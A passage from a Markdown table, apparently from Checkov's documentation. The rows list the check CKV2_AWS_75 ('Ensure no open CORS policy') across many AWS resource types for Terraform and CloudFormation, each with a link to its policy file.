[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2511 | CKV2_AWS_75              | resource                         | aws_alb_listener                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2512 | CKV2_AWS_75              | resource                         | aws_alb_listener                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2513 | CKV2_AWS_75              | resource                         | aws_alb_listener_certificate                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2514 | CKV2_AWS_75              | resource                         | aws_alb_listener_certificate                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2515 | CKV2_AWS_75              | resource                         | aws_alb_listener_rule                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2516 | CKV2_AWS_75              | resource                         | aws_alb_listener_rule                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2517 | CKV2_AWS_75              | resource                         | aws_alb_target_group                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2518 | CKV2_AWS_75              | resource                         | aws_alb_target_group                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2519 | CKV2_AWS_75              | resource                         | aws_alb_target_group_attachment                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2520 | CKV2_AWS_75              | resource                         | aws_alb_target_group_attachment                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2521 | CKV2_AWS_75              | resource                         | aws_ami                                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2522 | CKV2_AWS_75              | resource                         | aws_ami                                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2523 | CKV2_AWS_75              | resource                         | aws_ami_copy                                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2524 | CKV2_AWS_75              | resource                         | aws_ami_copy                                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2525 | CKV2_AWS_75              | resource                         | aws_ami_from_instance                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2526 | CKV2_AWS_75              | resource                         | aws_ami_from_instance                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2527 | CKV2_AWS_75              | resource                         | aws_ami_launch_permission                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2528 | CKV2_AWS_75              | resource                         | aws_ami_launch_permission                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2529 | CKV2_AWS_75              | resource                         | aws_amplify_app                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2530 | CKV2_AWS_75              | resource                         | aws_amplify_app                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2531 | CKV2_AWS_75              | resource                         | aws_amplify_backend_environment                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2532 | CKV2_AWS_75              | resource                         | aws_amplify_backend_environment                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2533 | CKV2_AWS_75              | resource                         | aws_amplify_branch                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2534 | CKV2_AWS_75              | resource                         | aws_amplify_branch                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2535 | CKV2_AWS_75              | resource                         | aws_amplify_domain_association                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2536 | CKV2_AWS_75              | resource                         | aws_amplify_domain_association                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2537 | CKV2_AWS_75              | resource                         | aws_amplify_webhook                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2538 | CKV2_AWS_75              | resource                         | aws_amplify_webhook                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2539 | CKV2_AWS_75              | resource                         | aws_api_gateway_account                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2540 | CKV2_AWS_75              | resource                         | aws_api_gateway_account                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2541 | CKV2_AWS_75              | resource                         | aws_api_gateway_api_key                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2542 | CKV2_AWS_75              | resource                         | aws_api_gateway_api_key                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2543 | CKV2_AWS_75              | resource                         | aws_api_gateway_authorizer                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2544 | CKV2_AWS_75              | resource                         | aws_api_gateway_authorizer                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2545 | CKV2_AWS_75              | resource                         | aws_api_gateway_base_path_mapping                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2546 | CKV2_AWS_75              | resource                         | aws_api_gateway_base_path_mapping                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2547 | CKV2_AWS_75              | resource                         | aws_api_gateway_client_certificate                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2548 | CKV2_AWS_75              | resource                         | aws_api_gateway_client_certificate                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2549 | CKV2_AWS_75              | resource                         | aws_api_gateway_deployment                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2550 | CKV2_AWS_75              | resource                         | aws_api_gateway_deployment                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2551 | CKV2_AWS_75              | resource                         | aws_api_gateway_documentation_part                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2552 | CKV2_AWS_75              | resource                         | aws_api_gateway_documentation_part                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2553 | CKV2_AWS_75              | resource                         | aws_api_gateway_documentation_version                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2554 | CKV2_AWS_75              | resource                         | aws_api_gateway_documentation_version                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2555 | CKV2_AWS_75              | resource                         | aws_api_gateway_domain_name                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2556 | CKV2_AWS_75              | resource                         | aws_api_gateway_domain_name                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2557 | CKV2_AWS_75              | resource                         | aws_api_gateway_domain_name_access_association                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2558 | CKV2_AWS_75              | resource                         | aws_api_gateway_domain_name_access_association                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2559 | CKV2_AWS_75              | resource                         | aws_api_gateway_gateway_response                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2560 | CKV2_AWS_75              | resource                         | aws_api_gateway_gateway_response                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2561 | CKV2_AWS_75              | resource                         | aws_api_gateway_integration                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2562 | CKV2_AWS_75              | resource                         | aws_api_gateway_integration                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2563 | CKV2_AWS_75              | resource                         | aws_api_gateway_integration_response                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2564 | CKV2_AWS_75              | resource                         | aws_api_gateway_integration_response                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2565 | CKV2_AWS_75              | resource                         | aws_api_gateway_method                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2566 | CKV2_AWS_75              | resource                         | aws_api_gateway_method                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2567 | CKV2_AWS_75              | resource                         | aws_api_gateway_method_response                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2568 | CKV2_AWS_75              | resource                         | aws_api_gateway_method_response                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2569 | CKV2_AWS_75              | resource                         | aws_api_gateway_method_settings                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2570 | CKV2_AWS_75              | resource                         | aws_api_gateway_method_settings                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2571 | CKV2_AWS_75              | resource                         | aws_api_gateway_model                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2572 | CKV2_AWS_75              | resource                         | aws_api_gateway_model                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2573 | CKV2_AWS_75              | resource                         | aws_api_gateway_request_validator                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2574 | CKV2_AWS_75              | resource                         | aws_api_gateway_request_validator                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2575 | CKV2_AWS_75              | resource                         | aws_api_gateway_resource                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2576 | CKV2_AWS_75              | resource                         | aws_api_gateway_resource                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2577 | CKV2_AWS_75              | resource                         | aws_api_gateway_rest_api                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2578 | CKV2_AWS_75              | resource                         | aws_api_gateway_rest_api                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2579 | CKV2_AWS_75              | resource                         | aws_api_gateway_rest_api_policy                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2580 | CKV2_AWS_75              | resource                         | aws_api_gateway_rest_api_policy                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2581 | CKV2_AWS_75              | resource                         | aws_api_gateway_stage                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2582 | CKV2_AWS_75              | resource                         | aws_api_gateway_stage                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2583 | CKV2_AWS_75              | resource                         | aws_api_gateway_usage_plan                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2584 | CKV2_AWS_75              | resource                         | aws_api_gateway_usage_plan                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2585 | CKV2_AWS_75              | resource                         | aws_api_gateway_usage_plan_key                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2586 | CKV2_AWS_75              | resource                         | aws_api_gateway_usage_plan_key                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2587 | CKV2_AWS_75              | resource                         | aws_api_gateway_vpc_link                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2588 | CKV2_AWS_75              | resource                         | aws_api_gateway_vpc_link                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2589 | CKV2_AWS_75              | resource                         | aws_apigatewayv2_api                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2590 | CKV2_AWS_75              | resource                         | aws_apigatewayv2_api                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2591 | CKV2_AWS_75              | resource                         | aws_apigatewayv2_api_mapping                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2592 | CKV2_AWS_75              | resource                         | aws_apigatewayv2_api_mapping                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2593 | CKV2_AWS_75              | resource                         | aws_apigatewayv2_authorizer                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2594 | CKV2_AWS_75              | resource                         | aws_apigatewayv2_authorizer                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2595 | CKV2_AWS_75              | resource                         | aws_apigatewayv2_deployment                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2596 | CKV2_AWS_75              | resource                         | aws_apigatewayv2_deployment                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2597 | CKV2_AWS_75              | resource                         | aws_apigatewayv2_domain_name                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2598 | CKV2_AWS_75              | resource                         | aws_apigatewayv2_domain_name                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2599 | CKV2_AWS_75              | resource                         | aws_apigatewayv2_integration                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2600 | CKV2_AWS_75              | resource                         | aws_apigatewayv2_integration                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2601 | CKV2_AWS_75              | resource                         | aws_apigatewayv2_integration_response                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2602 | CKV2_AWS_75              | resource                         | aws_apigatewayv2_integration_response                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2603 | CKV2_AWS_75              | resource                         | aws_apigatewayv2_model                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | 